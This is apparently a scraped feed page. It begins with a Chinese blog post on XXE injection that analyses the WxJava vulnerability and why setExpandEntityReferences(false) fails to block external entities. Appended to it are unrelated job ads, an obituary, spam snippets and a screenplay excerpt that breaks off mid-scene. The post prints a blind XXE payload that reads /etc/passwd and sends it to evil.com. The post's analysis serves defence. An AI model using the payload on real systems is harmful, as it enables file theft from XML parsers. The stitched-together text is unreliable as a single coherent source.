既然是有关XXE注入的漏洞,那么想读懂这篇文章就需要对XXE注入漏洞有所了解。在这里我推荐阅读@gyyyy大佬的文章:《XXE注入漏洞概述》,文章中非常详细的介绍了XXE注入的基础知识、漏洞原理、挖掘思路、利用方式等等。我在本文中简单带过一下原理。

XML外部实体注入 (XML External Entity Injection) 是一种针对解析XML文档的应用程序的注入类型攻击。当恶意用户在提交一个精心构造的包含外部实体引用的XML文档给未正确配置的XML解析器处理时,该攻击就会发生。XXE注入可能造成敏感信息泄露、拒绝服务、SSRF、命令执行等危害。

XML实体又分为内部实体和外部实体,声明方式如下:

<!ENTITY name "value">
<!ENTITY name SYSTEM "URI"> <!ENTITY name PUBLIC "PUBLIC_ID" "URI">

外部实体声明中,分为SYSTEM和PUBLIC,前者表示私有资源 (但不一定是本机) ,后者表示公共资源。实体声明之后就可以在文本中进行引用了:

<foo>&xxe;</foo>

XXE注入较为常见的利用方式是基于OOB的任意文件读取 (盲注),利用方式如下:

<?xmlversion="1.0"encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY % xxeSYSTEM "http://evil.com/xxeoobdetector.xml"> %xxe; ]> <foo/>

xxeoobdetector.xml

<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % def "<!ENTITY &#x25; send SYSTEM 'http://evil.com/?data=%file;'>"> %def; %send;

更多内容也可以参考XML_External_Entity_(XXE)_Processing

XXE注入漏洞简要分析

以WxJava的XXE注入漏洞为例,漏洞发现者在项目Github仓库中提交 Github issue#903,并提供了修复参考
先在github上进行commit diff对比:

可以看到作者使用的是JDK自带的XML解析器。在创建DocumentBuilderFactory类的实例之后进行了setFeature禁用DTD文档。
仿造issue中的描述初始化WxPayOrderQueryResult类实例,通过其父类的setXmlString()方法设置xmlString,然后调用此类实例的toMap()方法将xml文档转换为Map。在此调用了此类的getXmlDoc()方法。

进入getXmlDoc()方法中发现此处已经对DocumentBuilderFactory实例进行了setExpandEntityReferences()的设置,但经过测试,这里依然可以解析DTD文档和外部实体,触发漏洞。

节外生枝

本来这个漏洞分析到这里就可以结束了,但我看到了这个漏洞的issue关联另一个issue:issue#889,发现其对应漏洞CVE-2018-20318,再次进行commit diff对比:

发现作者在解决CVE-2018-20318之前对DocumentBuilderFactory实例没有进行任何设置,直接解析XML文档。那么问题来了,为什么作者加上factory.setExpandEntityReferences(false)的设置漏洞仍然存在?是factory.setExpandEntityReferences(false)没有生效吗?作为开发出身的我,第一反应是查这段代码的注释和官方文档,开发过程中我们应该永远最相信官方的文档。

直接跟进这个方法定义的位置:

从代码注释翻译过来大概是: 指定此代码生成的解析器将扩展实体引用节点。 默认情况下,此值为true,如果参数为true,解析器将扩展实体引用节点,否则设置为false官方文档的解释与其一致,不再展示。

那么从这短短的一句话上分析,setExpandEntityReferences()方法参数为true的时候,解析器会扩展外部实体,为false的时候不扩展,好像没毛病。我如果是开发者看到了文档给出的解释也会这样改,那么问题到底在哪里?

寻坑之路

通过搜索发现,和我有同样疑问的人其实不少,首先我看到了两封疑似邮件记录的东西,第一封主题为Disabling XML External Entites,这个人恰好是想解决安全问题禁止外部实体解析,但发现了通过setExpandEntityReferences()并不能阻止XXE注入攻击,于是邮件提问,得到的回复如下:

第二封主题为CVE-2014-0191 libxml2: external parameter entity
loaded when entity substitution is disabled这个人貌似是想写一篇全面的关于XXE注入的论文,但是它遇到了同样的问题,且提到了官方的描述非常的简短。他得到的回复如下:

在这个回复中甚至提到了OWASP的文档中都是需要更新和维护的。OWASP以前的文档不可考察了,现在OWASP中针对XXE注入防护的Java部分是这样的:

这里依然提到了setExpandEntityReferences(false),并且提到了一篇2014年的论文 (好像和刚才发邮件的不是一个人:-D) 于是我又将论文翻出来,论文中提到的有关内容如下:

我们发现,这两个邮件的回复大意都是说这是设计如此的,setExpandEntityReferences(false)和实体的解析是不冲突的,setExpandEntityReferences()只告诉DocumentBuilder它是否应该在tree中包含EntityReference节点。

随后,我又在JDK的BUG系统中找到了两个BUG的提交记录,分别是 Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects
DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false),两个BUG提交后得到了同样的回复:这不是问题!其中在第二个BUG的回复中详细解释了参数设置为true和false对应的意义:

setExpandEntityReferences = true表示展开或“解析”实体引用,即没有EntityReference节点。
setExpandEntityReferences = false,将指示解析器将EntityReference节点保留在DOM树中。

挖到这里,我大致明白了这个方法的作用,此方法作用于XML解析后生成的文档。设置为true则展开实体引用到生成的文档中替换掉&xx的实体引用声明,设置为false则保留实体引用声明的DOM树在生成的文档中

听起来还是有点绕?下面我通过一个例子来解释上面那句话。
假如有XML文档如下:

<!DOCTYPE foo [ <!ENTITY xxe "test"> ]> <document> <title>&xxe;</title> </document> 测试代码:

import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.EntityReference; import org.w3c.dom.NodeList; import javax.xml.parsers.DocumentBuilderFactory; import java.io.ByteArrayInputStream; public class Test { public static void main(String[] args) { String xmlStr= "<!DOCTYPE foo [\n" + " <!ENTITY xxe \"test\">\n" + "]>\n" + "<document> \n" + " <title>&xxe;</title> \n" + "</document> "; Document doc= getXmlDoc(xmlStr); Element e = (Element) doc.getElementsByTagName("title").item(0); final NodeList nl = e.getChildNodes(); System.out.println("nl.item(0) instanceof EntityReference):" + (nl.item(0) instanceof EntityReference)); System.out.println("nl.getLength():" + nl.getLength()); } public static Document getXmlDoc(String xmlString) { try { final DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // Comment the code below to see the effect factory.setExpandEntityReferences(false); Document xmlDoc = factory.newDocumentBuilder() .parse(new ByteArrayInputStream(xmlString.getBytes("UTF-8"))); return xmlDoc; } catch (Exception e) { throw new RuntimeException(e); } } }

设置setExpandEntityReferences(true),观察变量nl的结构:

注意此时nl的长度为1,此时文档结构大致如下:

+- document +- title | +- #text:test

输出如下:

设置setExpandEntityReferences(false),观察变量nl的结构:

我们发现,此时的nl的长度为2,nl.item(0)是一个name为xxe的EntityReference节点,它还有个兄弟节点,值为test。此时文档结构大致如下:

+- document +- title | +- xxe | +- #text:test

输出如下:

上面的例子证明了,无论如何设置setExpandEntityReferences(),外部文档都是已经解析完了的。因此无法防护XXE注入。看来我们都误会了官方文档的意图。

不过官方文档描述过于简单,事实也证明了官方文档对setExpandEntityReferences()的解释真的容易产生歧义。因此在开发者修复漏洞的时候还是要参考OWASP给出的参考建议 (我甚至觉得OWASP建议中的setExpandEntityReferences(false)都应该注释标明它不能防止XXE注入),不要太过于自信自己对文档的理解。修改后应及时测试。

官方认坑

就在我觉得这个事情真的到这里就结束了的时候,我发现事情又有了转机。通过在JDK的BUG系统中搜索,我又发现有人在说这个问题:DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false)
,不过神奇的地方来了,这次官网没有用之前的话术草草回复过去,而是接受了这个BUG!!就在两天前(2019年1月29日),@Joe Wang为其创建了名为Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false)的任务,并且在任务描述中明确了当ExpandEntityReferences设置为false时,DOM解析器不再读取和解析任何实体引用。对于打算避免解析实体引用的应用程序,这样的设置将会按照预期工作。
经过这么多人对此方法的质疑,官方终于承认了这个很容易让人引起歧义且易导致安全问题的坑,并且决定修复它。或许在新版本的JDK中我们真的可以安心的通过setExpandEntityReferences(false)来解决XXE注入的问题了。不过现在这个任务的状态还是NEW,我会继续跟进它。

参考

  1. XXE注入漏洞概述 https://github.com/gyyyy/footprint/blob/master/articles/2018/xxe-injection-overview.md
  2. WxJava issue#903 https://github.com/Wechat-Group/WxJava/issues/903
  3. WxJava issue#889 https://github.com/Wechat-Group/WxJava/issues/889
  4. Class DocumentBuilderFactory 官方文档 https://docs.oracle.com/javase/8/docs/api/javax/xml/parsers/DocumentBuilderFactory.html
  5. Disabling XML External Entites http://apache-xml-project.6118.n7.nabble.com/Disabling-XML-External-Entites-td39499.html
  6. CVE-2014-0191 libxml2: external parameter entity loaded when entity substitution is disabled https://www.openwall.com/lists/oss-security/2014/06/03/5
  7. Method setExpandEntityReferences of Object DocumentBuilderFactory has no effects https://bugs.openjdk.java.net/browse/JDK-4762733
  8. DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) https://bugs.openjdk.java.net/browse/JDK-8025660
  9. DOM parser does not honor DocumentBuilderFactory.setExpandEntityReferences(false) https://bugs.openjdk.java.net/browse/JDK-8206132
  10. Change DOM parser to not resolve EntityReference and add Text node with DocumentBuilderFactory.setExpandEntityReferences(false) https://bugs.openjdk.java.net/browse/JDK-8217937

          Research Application Administrator - ITS - Careers | West Virginia University - Morgantown, WV      Cache   Translate Page      
Have extensive knowledge of application administration using the Apache Tomcat 7/8 Java Serviet Server, Apache Web Server using HTTP Proxy directives and...
From West Virginia University - Tue, 15 Jan 2019 04:05:27 GMT - View all Morgantown, WV jobs
          Commentaires sur APACHE TRAIL par Genevieve      Cache   Translate Page      
Le principal c'est que tu les lises tous. Réellement les oiseaux me manquent encore, mais demain nous allons voir les requins-marteaux et les baleines, cela compensera.
          Commentaires sur APACHE TRAIL par simon serge      Cache   Translate Page      
04 février , j'avance , j'avance , petit à petit . Je vous suis à la trace, guidé par les cendres encore tièdes . Comme vous, je musarde à travers ces magnifiques espaces dont on ne se lasse pas . Cela manque un peu d'oiseaux , bien que je te devine toujours attentive . merci pour la ballade
          Senior UI Software Engineer - Visteon Corporation - Grace Lake, WY      Cache   Translate Page      
IBM Rational Team Concert or ClearCase, Apache Subversion, etc.); IBM Rational Clearquest, Microsoft Team Foundation Service, Mozilla Bugzilla, etc.);...
From Visteon Corporation - Fri, 01 Feb 2019 20:43:21 GMT - View all Grace Lake, WY jobs
          Java Restful Web Service Project      Cache   Translate Page      
You need to create a web service for my food software project. (Budget: $8 - $15 USD, Jobs: Apache Maven, J2EE, Java, RESTful, Software Architecture)
          Java Restful Web Service Project      Cache   Translate Page      
You need to create a web service for my food software project. (Budget: $8 - $15 USD, Jobs: Apache Maven, J2EE, Java, RESTful, Software Architecture)
          Java Restful Web Service Project      Cache   Translate Page      
You need to create a web service for my food software project. (Budget: $8 - $15 USD, Jobs: Apache Maven, J2EE, Java, RESTful, Software Architecture)
          Apache PySpark by Example      Cache   Translate Page      

Apache PySpark by Example
Apache PySpark by Example
MP4 | Video: AVC 1280x720 | Audio: AAC 44KHz 2ch | Duration: 2 Hours | 260 MB
Genre: eLearning | Language: English


          Senior Data Engineer - OfferUp - Bellevue, WA      Cache   Translate Page      
Experience leveraging open source data infrastructure projects, such as Apache Spark, Airflow, Kafka, Flink, Samza, Avro, Parquet, Hadoop, Hive, HBase, Phoenix,...
From OfferUp - Wed, 12 Dec 2018 18:45:41 GMT - View all Bellevue, WA jobs
          Gradle 5.2.1 发布,项目自动化构建工具      Cache   Translate Page      
Gradle 5.2.1 发布了,Gradle 是一个基于 Apache Ant 和 Apache Maven 概念的项目自动化构建工具,支持依赖管理和多项目,类似 Maven,但比之简单轻便。它使用一种基于 Groovy 的特定领域语言来声明项目设置,而不是传统的 XML。 新版本主要更新内容: 单个源文件的 Checkstyle 问题: #8394 BOM 支持相关的冲突问题: #84...
          Senior Data Engineer - OfferUp - Bellevue, WA      Cache   Translate Page      
Experience leveraging open source data infrastructure projects, such as Apache Spark, Airflow, Kafka, Flink, Samza, Avro, Parquet, Hadoop, Hive, HBase, Phoenix,...
From OfferUp - Wed, 12 Dec 2018 18:45:41 GMT - View all Bellevue, WA jobs
          20 Tiernos gatitos maine coon y todo lo que no conocías de ellos      Cache   Translate Page      
La raza del gigantesco gato maine coon es propia de Maine, Estados Unidos. Por su apariencia se le solía confundir con el mapache (racoon, en inglés), de ahí y de su origen geográfico viene su nombre. Estos felinos se caracterizan por lucir un majestuoso pelaje, y aunque ahora sean animales domésticos fueron el asombroso resultado […]
          MSI APACHE 17.3" FHD(1920x1080)      Cache   Translate Page      
MSI APACHE 17.3" FHD(1920x1080)   Intel Core i5 4210H  GeForce® GTX 960M 2GB GDDR5  256SSD SOUND DYNAUDIO  (audio boost2 nahimic)

425.00 €

MSI APACHE 17.3" FHD(1920x1080)#source%3Dgooglier%2Ecom#https%3A%2F%2Fgooglier%2Ecom%2Fpage%2F%2F10000


          Demand Congress stop the immoral and unconstitutional seizure and sale of Oak Flat      Cache   Translate Page      
Right now, two of the world's biggest mining companies want to mine Apache sacred lands just an hour east of Phoenix in Oak Flat, AZ.
Submitted by Freya H to Environment  |   Note-it!  |   Add a Comment

          Behavioral Health Integration Manager - North Country HealthCare - Flagstaff, AZ      Cache   Translate Page      
Peer Mentorship includes Northern Arizona mountain region of Coconino, Navajo, Apache, and Mohave counties. The Behavioral Health Integration Program Manager is...
From North Country HealthCare - Sat, 09 Feb 2019 02:58:49 GMT - View all Flagstaff, AZ jobs
          Overnight Sitter - Care.com - Apache, OK      Cache   Translate Page      
My husband and I want to see a concert. Hello looking for an over night/early morning sitter....
From Care.com - Tue, 22 Jan 2019 10:58:02 GMT - View all Apache, OK jobs
          Local Coordinator - Student Ambassador Exchange by Children of All Nations - Apache, OK      Cache   Translate Page      
This is a part-time, contract position, meaning you will work on your own schedule and are compensated for the number of students you place....
From Indeed - Fri, 08 Feb 2019 18:55:05 GMT - View all Apache, OK jobs
          Personal Care Aide (PCA) - HealthCare Innovations - Apache, OK      Cache   Translate Page      
If you like caring for people and helping with their everyday needs, have dependable transportation and a great work ethic call us today for an interview!...
From Indeed - Wed, 31 Oct 2018 14:48:29 GMT - View all Apache, OK jobs
          LEAD SALES ASSOCIATE-FT - Dollar General - Apache, OK      Cache   Translate Page      
Occasional or regular driving/providing own transportation to make bank deposits, attend management meetings and travel to other Dollar General stores....
From Dollar General - Tue, 15 Jan 2019 09:11:50 GMT - View all Apache, OK jobs
          STORE MANAGER in APACHE, OK - Dollar General - Apache, OK      Cache   Translate Page      
Regularly driving/providing own transportation to make bank deposits and occasionally to attend management meetings and to other Dollar General stores....
From Dollar General - Sun, 11 Nov 2018 04:26:27 GMT - View all Apache, OK jobs
          STORE MANAGER CANDIDATE in APACHE, OK - Dollar General - Apache, OK      Cache   Translate Page      
Occasional driving/providing own transportation to make bank deposits, attend management meetings and to other Dollar General stores....
From Dollar General - Thu, 25 Oct 2018 04:32:03 GMT - View all Apache, OK jobs
          Msi ge60 apache pro      Cache   Translate Page      
Máy còn như mới, chưa sửa chữa hay mở máy, nguyên hộp
          RIP Miranda Bonansea      Cache   Translate Page      

Italian film and voice actress Miranda Bonansea died in Rome, Italy on February 10, 2019. He was 92. Born in Mondovì, Italy on October 31, 1926 she was one the most famous actresses of the thirties in Italy, and then became active as a radio and dubbing actress, particularly known for being the Italian voice of June Allyson, Shirley Temple, Marilyn Monroe, and Judy Garland. She was married from 1952 to 1962 with Italian singer Claudio Villa, from whom she had his son Mauro.


BONANSEA, Miranda (Miranda Garaviglia)
Born: 10/31/1926, Mondovì Breo, Piedmont, Italy
Died: 2/10/2019, Rome, Lazio, Italy

Miranda Bonansea’s westerns – voice actress:
The Little Colonel – 1935 [Italian voice of Shirley Temple]
The Littlest Rebel – 1935 [Italian voice of Shirley Temple]
Susannah of the Mounties - 1939 [Italian voice of Shirley Temple]
The Return of Frank James – 1940 [Italian voice of Gene Tierney]
Fort Apache – 1948 [Italian voice of Shirley Temple]
Streets of Laredo - 1949 [Italian  voice of Mona Freeman]
Saddle Tramp – 1950 [Italian voice of Wanda Hendrix]
A Ticket to Tomahawk – 1950 [Italian voice of Marilyn Monroe]
Bend of the River – 1952 [Italian voice of Lori Nelson]
High Noon – 1952 [Italian voice of Grace Kelly]
Seven Brides for Seven Brothers – 1954 [Italian voice of Jane Powell]
Bad Day at Black Rock – 1955 [Italian voice of Anne Francis]
The Kentuckian – 1955 [Italian voice of Diana Lynn]
Wichita – 1955 [Italian voice of Vera Miles]
Zorro (TV) – 1957 [Italian voice of Madeleine Holmes]
Silverado - 1985 [Italian voice of Linda Hunt]
Lucky Luke – 1990 [Italian voice of Ruth Buzzi]

          大赢家足球即时比分中-做到信息资源的最大利用与共享,电脑手机自适应布局,后期bug修正:暂无      Cache   Translate Page      
100年彩图历史图库并独立承担与内容相关的法律义务。,修改更加方便10、1240px宽度设计,邀请码及SEO配置7、安全及权限管理前台1、关注话题2、关注用户3、发表创建各种主题4、各种交互功能,系统要求:-主流WEB服务器(如Apache、Nginx、IIS等)-PHP5.2+-MySQL5.1+1.运行环境:Apache+PHP+MySql+PhpMyadmin,请先配置伪静态规则apache.htaccess伪静态文件在根目录nginx amh.conf伪静态文件在根目录直接运行,使用支持PSR-4标准的第三方库)3、数据库操作增加以insert(),replace()开始的链式查询语句,增加on(),set()方法4、另外新增$this->link->getMetaData()方法用于获取表的基本信息5、增强运行时配置,追求效率之意。
          满堂红广州二手房-它包含了团购、限时抢购、物流跟踪等网店平台所具备的功能。搞一套模板出来很不容易,会员优惠日,      Cache   Translate Page      
金牛水岸国际花园代理一键导出订单统计数据到excel;4、订单状态:可自定义订单状态,,包含了最新的高考装逼图片。低内存占用,提供WEB应用开发的最佳实践!ThinkPHP遵循Apache2开源许可协议发布,保证系统安全,KYPHP同其它MVC框架一样,
          Confirmation HMVM      Cache   Translate Page      
FROM THE BLACK WE HEAR-- MARK (V.O.) Did you know there are more people with genius IQ's living in China than there are people of any kind living in the United States? ERICA (V.O.) That can't possibly be true. MARK (V.O.) It is. ERICA (V.O.) What would account for that? MARK (V.O.) Well, first, an awful lot of people live in China. But here's my question: FADE IN: INT. CAMPUS BAR - NIGHT MARK ZUCKERBERG is a sweet looking 19 year old whose lack of any physically intimidating attributes masks a very complicated and dangerous anger. He has trouble making eye contact and sometimes it's hard to tell if he's talking to you or to himself. ERICA, also 19, is Mark's date. She has a girl-next-door face that makes her easy to fall for. At this point in the conversation she already knows that she'd rather not be there and her politeness is about to be tested. The scene is stark and simple. MARK How do you distinguish yourself in a population of people who all got 1600 on their SAT's? ERICA I didn't know they take SAT's in China. MARK They don't. I wasn't talking about China anymore, I was talking about me. ERICA You got 1600? MARK Yes. I could sing in an a Capella group, but I can't sing. ERICA Does that mean you actually got nothing wrong? MARK I can row crew or invent a 25 dollar PC. ERICA Or you can get into a final club. MARK Or I can get into a final club. ERICA You know, from a woman's perspective, sometimes not singing in an a Capella group is a good thing? MARK This is serious. ERICA On the other hand I do like guys who row crew. MARK (beat) Well I can't do that. ERICA I was kid-- MARK Yes, it means I got nothing wrong on the test. ERICA Have you ever tried? MARK I'm trying right now. ERICA To row crew? MARK To get into a final club. To row crew? No. Are you, like--whatever--delusional? ERICA Maybe, but sometimes you say two things at once and I'm not sure which one I'm supposed to be aiming at. MARK But you've seen guys who row crew, right? 2. ERICA No. MARK Okay, well they're bigger than me. They're world class athletes. And a second ago you said you like guys who row crew so I assumed you had met one. ERICA I guess I just meant I liked the idea of it. The way a girl likes cowboys. MARK (beat) Okay. ERICA Should we get something to eat? MARK Would you like to talk about something else? ERICA No, it's just since the beginning of the conversation about finals club I think I may have missed a birthday. (can't get over it) There are really more people in China with genius IQ's than the entire population of-- MARK The Phoenix is the most diverse. The Fly Club, Roosevelt punched the Porc. ERICA Which one? MARK The Porcellian, the Porc, it's the best of the best. ERICA Which Roosevelt? MARK Theodore. ERICA Is it true that they send a bus around to pick up girls who want to party with the next Fed Chairman? MARK You can see why it's so important to get in. 3. ERICA Okay, well, which is the easiest to get into? MARK is visibly hit by that... MARK Why would you ask me that? ERICA I'm just asking. MARK None of them, that's the point. My friend Eduardo made $300,000 betting oil futures one summer and Eduardo won't come close to getting in. The ability to make money doesn't impress anybody around here. ERICA Must be nice. He made $300,000 in a summer? MARK He likes meteorology. ERICA You said it was oil futures. MARK You can read the weather you can predict the price of heating oil. I think you asked me that because you think the final club that's easiest to get into is the one where I'll have the best chance. ERICA I asked--what? MARK You asked me which one was the easiest to get into because you think that that's the one where I'll have the best chance. ERICA The one that's the easiest to get into would be the one where anybody has the best chance. MARK You didn't ask me which one was the best one, you asked me which one was the easiest one. ERICA I was honestly just asking. Okay? I was just asking to ask. Mark, I'm not speaking in code. 4. MARK Erica-- ERICA You're obsessed with finals clubs. You have finals clubs OCD and you need to see someone about it who'll prescribe you some sort of medication. You don't care if the side effects may include blindness. MARK Final clubs. Not finals clubs and there's a difference between being obsessed and being motivated. ERICA Yes there is. MARK Well you do--that was cryptic--so you do speak in code. ERICA I didn't mean to be cryptic. MARK I'm saying I need to do something substantial in order to get the attention of the clubs. ERICA Why? MARK Because they're exclusive. And fun and they lead to a better life. ERICA Teddy Roosevelt didn't get elected president because he was a member of the Phoenix Club. MARK He was a member of the Porcellian and yes he did. ERICA Well why don't you just concentrate on being the best you you can be? MARK Did you really just say that? ERICA (beat) I was kidding. 5. (MORE) Although just because something's trite it doesn't make it any less-- MARK I want to try to be straight forward with you and tell you that I think you might want to be a little more supportive. If I get in I'll be taking you...to the events, and the gatherings...and you'll be meeting a lot of people you wouldn't normally get to meet. ERICA (smiles) You would do that for me? MARK We're dating. ERICA Okay, well I want to try and be straight forward with you and let you know that we're not anymore. MARK What do you mean? ERICA We're not dating anymore, I'm sorry. MARK Is this a joke? ERICA No, it's not. MARK You're breaking up with me? ERICA You're going to introduce me to people I wouldn't normally have the chance to meet? What the fff--What is that supposed to mean? MARK Wait, settle down. ERICA What is it supposed to mean? MARK Erica, the reason we're able to sit here and drink right now is cause you used to sleep with the door guy. 6. ERICA (CONT'D) ERICA The door guy, his name is Bobby. I did not slept with the door guy, the door guy is a friend of mine. He's a perfectly good class of people and what part of Long Island are you from--Wimbledon? MARK Wait-- ERICA I'm going back to my dorm. MARK Wait, wait, is this real? ERICA Yes. MARK Okay, then wait. I apologize, okay? ERICA I have to go study. MARK Erica-- ERICA Yeah. MARK I'm sorry, I mean it. ERICA I appreciate that but-- MARK Come on. ERICA --I have to study. MARK You don't have to study. You don't have to study. Let's just talk. ERICA I can't. MARK Why? ERICA Because it's exhausting. Dating you is like dating a stairmaster. 7. MARK All I meant is that you're not likely to-- currently--I wasn't making a comment on your parents--I was just saying you go to B.U., I was stating a fact, that's all, and if it seemed rude then of course I apologize. ERICA I have to go study. MARK You don't have to study. ERICA Why do you keep saying I don't have to study?! MARK Because you go to B.U.! ERICA stares at him... MARK (CONT'D) (pause) Do you want to get some food? ERICA I'm sorry you're not sufficiently impressed with my education. MARK And I'm sorry I don't have a rowboat so we're even. ERICA I think we should just be friends. MARK I don't want friends. ERICA I was being polite, I have no intention of being friends with you. MARK I'm under some pressure right now with my OS class and if we could just order food I think we should-- ERICA takes MARK's hand and looks at him tenderly... ERICA (close) You are probably going to be a very successful computer person. 8. (MORE) But you're going to go through life thinking that girls don't like you because you're a nerd. And I want you to know, from the bottom of my heart, that that won't be true. It'll be because you're an asshole. And with that stinger, ERICA walks off we slowly push in on MARK. A fuse has just been lit. CUT TO: EXT. BAR - NIGHT As MARK busts out of the bar and into the population of Harvard Square. CUT TO: EXT. HARVARD SQUARE - NIGHT As MARK continues on, he passes a group of people heading in the opposite direction for a party. As MARK's steady and determined stride continues, he'll pass by all kinds of (seemingly) happy, well-adjusted, socially adept people. The pulsing intro of a song crashes in that will take us through the following sequence CUT TO: TITLE: Harvard University Fall 2003 INT. KIRKLAND HOUSE/LOBBY - NIGHT As the MUSIC CONTINUES and MARK busts into the lobby of his dorm. He doesn't look at anyone as he heads up the stairs and we CUT TO: INT. MARK'S DORM ROOM - NIGHT A bedroom that's part of a three-bedroom suite. The MUSIC CONTINUES as MARK walks in, flicks his lap-top on without looking at it and walks out of frame as we follow MARK to his mini-frigde where he pulls out a Beck's beer. MARK's fingers dance easily on the keyboard--like a Juilliard pianist warming up. The website he's just called up gets loaded onto the screen. Zuckonit.com 9. ERICA (CONT'D) This is the only place he's comfortable. TITLE: 8:13 PM He begins blogging. MARK (V.O.) Erica Albright's a bitch. Do you think that's because her family changed their name from Albrecht or do you think it's because all B.U. girls are bitches? He takes a good gulp of his drink. We see the words we're hearing filling up his computer screen-- MARK (V.O.) (CONT'D) For the record, she may look like a 34C but she's getting all kinds of help from our friends at Victoria's Secret. She's a 34B, as in barely anything there. False advertising. CUT TO: INT. MARK'S DORM ROOM - NIGHT TITLE: 9:48 PM MARK (V.O.) The truth is she has a nice face. I need to do something to help me take my mind off her. Easy enough, except I need an idea. MARK takes out a keyboard for his desktop computer takes a drink from his beer. BILLY OLSON walks into the room carrying a six pack. He sits on the bed behind MARK and opens one for himself. MARK has moved his mouse to an icon on his desktop labeled "Kirkland Facebook". He clicks and opens it. A menu of photos appear. He blogs again. MARK (V.O.) (CONT'D) I'm a little intoxicated, I'm not gonna lie. So what if it's not even 10PM and it's a Tuesday night? The Kirkland facebook is open on my desktop and some of these people have pretty horrendous facebook pics. 10. (MORE) Billy Olson's sitting here and had the idea of putting some of these next to pictures of farm animals and have people vote on who's hotter. CUT TO: INT. A BUS - NIGHT It resembles the kind of bus that would take you to the rental car place but on board are two-dozen COLLEGE GIRLS who are dressed for a party. Last minute make-up touch-ups are being done and a joint is being passed. MARK (V.O.) I think he's on to something. CUT BACK TO: INT. MARK'S DORM ROOM - NIGHT TITLE: 10:17 PM MARK Yea, it's on. I'm not gonna do the farm animals but I like the idea of comparing two people together. It gives the whole thing a very "Turing" feel since people's ratings of the pictures-- CUT TO: EXT. FINAL CLUB - NIGHT A bouncer--a townie in a tuxedo and a headset--is manning the velvet rope that guards the thick, wooden, red double-doors that lead to, believe it or not, one of the most exclusive clubs in the world. Four college girls are already waiting in line but that number's about to grow as the bus pulls up and opens its doors. MARK (VO) --will be more implicit than, say, choosing a number to represent each person's hotness like they do on hotornot.com. The first thing we're going to need is a lot of pictures. 11. MARK (V.O.) (CONT'D) (MORE) Unfortunately, Harvard doesn't keep a public centralized facebook so I'm going to have to get all the images from the individual houses that people are in. Let the hacking begin. CUT BACK TO: INT. MARK'S DORM ROOM - NIGHT There are two more kids in the room with MARK--DUSTIN MOSKOVITZ and CHRIS HUGHES. MARK (V.O.) First up is Kirkland. They keep everything open and allow indexes in their Apache configuration, so a little WGET magic is all that's necessary to download the entire Kirkland facebook. Kids' stuff. On the computer screen, we've been seeing him download picture after picture of Harvard girls. CUT TO: EXT. FINAL CLUB - NIGHT THREE COEDS are talking to the BOUNCER. The BOUNCER looks up at TWO HANDSOME CLUB MEMBERS. The MEMBERS give him the nod and the FIVE COEDS are let past the velvet rope. They're led up a half flight of red-carpeted stairs to a party that's about a half-hour away from being in full swing. The CLUB PRESIDENT is addressing the GUESTS from the top of the stairs-- CLUB PRESIDENT Excuse me everybody, you are at one of the oldest, one of the most exclusive clubs--not just at Harvard but in the world--and I want to welcome you all to Phoenix Club's first party of the fall semester. CUT BACK TO: INT. MARK'S DORM ROOM - NIGHT MARK finishes another drink and gets back to his work. TITLE: 1:03 AM 12. MARK (VO) (CONT'D) MARK (V.O.) Next is Elliot. They're also open but with no indexes on Apache. I can run an empty search and it returns all of the images in the database in a single page. Then I can save the page and Mozilla will save all the images for me. Excellent. Moving right along. Flying by at super-speed on MARK's computer screen have been commands and images that the rest of us can't possibly understand. CUT TO: INT. FINAL CLUB - NIGHT The best and the brightest are checking out the hottest and the easiest. We see a shot of uniformed FEMALE BARTENDERS making a couple of drinks with top-shelf bottles, a DJ working the highest end equipment and 20 year old guys, some of whom look 15, in blazers, khakis and club ties. CUT BACK TO: INT. MARK'S DORM ROOM - NIGHT MARK (V.O) Lowell has some security. They require a username/password combo and I'm going to go ahead and say they don't have access to main FAS user database, so they have no way of detecting an intrusion. 11B INT. FINAL CLUB - NIGHT 11B It's on. Body shots. A couple making out in the corner. A matchbox gets slid open by perfectly manicured fingers that take out a few white pills. Two girls are dancing with each other and move into a kiss. MARK's voiceovers are starting to overlap and cascade into each other-- MARK (V.O.) (CONT'D) Adams has no security but limits the number of results to twenty a page. All I need to do is break out the same script I used on Lowell and we're set. MARK (V.O.) (CONT'D) Quincy has no online facebook, what a sham. Nothing I can do about that. CUT TO: 13. MARK'S DORM ROOM - NIGHT Instructions and images fly across MARK's screen-- MARK (V.O.) Dunster is intense. Not only is there no public directory but there's no-- MARK (V.O.) (CONT'D) Leverett is a little better. It's slightly obnoxious that they only let you view one picture at a time and I'm not about to-- MARK (V.O.) (CONT'D) --definitely necessary to break out the emacs and modify that perl script with-- INT. KIRKLAND HOUSE/STAIRWAY - NIGHT EDUARDO SAVERIN, a sweet-looking Brazilian sophomore wearing a three-piece suit is rushing up the stairs two at a time. TITLE: 2:08 AM MARK (V.O.) Done. EDUARDO gets to the top of the stairs and hurries into-- INT. MARK'S DORM ROOM - CONTINUOUS EDUARDO What's going on? MARK (V.O.) Perfect timing. Eduardo's here and he's going to have the key ingredient. EDUARDO Mark. MARK Wardo. EDUARDO You and Erica split up? MARK How did you know that? EDUARDO It's on your blog. 14. MARK Yeah. EDUARDO Are you alright? MARK I need you. EDUARDO I'm here for you. MARK No, I need the algorithm you use to rank chess players. EDUARDO Are you okay? MARK We're ranking girls. EDUARDO You mean other students? MARK Yeah. EDUARDO You think this is such a good idea? MARK I need the algorithm. EDUARDO Mark-- MARK I need the algorithm. CUT TO: INT. MARK'S DORM ROOM - NIGHT EDUARDO is writing an equation with a grease marker on the window. When the equation's done it looks like this: Girl A: Ea = 1 1 + 10(Rb - Ra) / 400 15. Girl B: Eb = 1 1 + 10(Ra - Rb) / 400 EDUARDO Give each girl a base rating of 1400. At any given time "Girl A" has a rating R-a and "Girl B" has a rating R-b. MARK When any two girls are matched up there's an expectation of which will win based on their current rating, right? EDUARDO (tapping the window) Yes. And those expectations are expressed this way. MARK Let's write it. CUT TO: INT. FINAL CLUB - NIGHT The two girls who we just saw get let in are now dancing on a table in their underwear. CUT BACK TO: INT. MARK'S ROOM - NIGHT MARK makes a few last key strokes and a new website comes up on the screen. FACEMASH MARK makes a few more 